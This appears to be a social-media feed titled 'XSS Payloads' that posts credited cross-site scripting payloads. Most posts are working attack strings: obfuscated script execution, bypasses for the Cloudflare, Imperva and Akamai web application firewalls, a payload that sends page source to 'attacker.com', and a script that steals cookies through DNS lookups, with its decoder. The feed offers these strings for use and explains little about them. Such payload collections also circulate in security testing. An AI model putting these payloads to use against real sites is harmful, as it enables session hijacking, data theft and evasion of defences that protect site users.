Pinned
Get your XSS Payloads stuff from our online store !
xss-payloads.myspreadshop.net
XSS Payloads
1,766 posts
- Hieroglyph-based payload by @aemkei ! 𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{},𓆣=𓂀 [𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗=𓊎[𓇎+𓏢 ],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+ 𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[ 𓇎]+𓂀[𓏢]+𓊝+𓆣+'`𓅂 𓏢 𓂀 𓁄 𓆣 𓊝 𓇎`')``
- WAF bypass payload and detailed explanation by @s0md3v <sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1//
- alert() with no parenthesis, back ticks, brackets, quotes, braces, etc. by @stealthybugs a=8,b=confirm,c=window,c.onerror=b;throw-a
- A list of 500 XSS vectors. Good reference...
- Full-Width Symbols, a useful cheatsheet to bypass WAF by @therceman
- A payload that steals source code of the current webpage without triggering browser restrictions, by @s0md3v <svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
- 2 payloads to bypass CloudFlare WAF by @RAWEZH__1 "%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F "><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">
- Imperva WAF bypass payload by @0xInfection <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
- A variant most likely to bypass WAF by @lp1eu <img/src/onerror=arguments[0].path.pop().['al'+'ert'](1)>
- A payload to bypass Akamai WAF, by @stealthybugs "><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click
- Cookie theft over DNS while XSS, payload by @chaignc <script> document.location = "//" + btoa(document.cookie).replace(/[A-Z]/g, '$&.').replace(/=/g, 'X') + "I." + "YourBurpCollaborator"; </script> Decode: atob("Your_Receveived_DNS".replace(/(.)./g, (_,x)=>x.toUpperCase()))
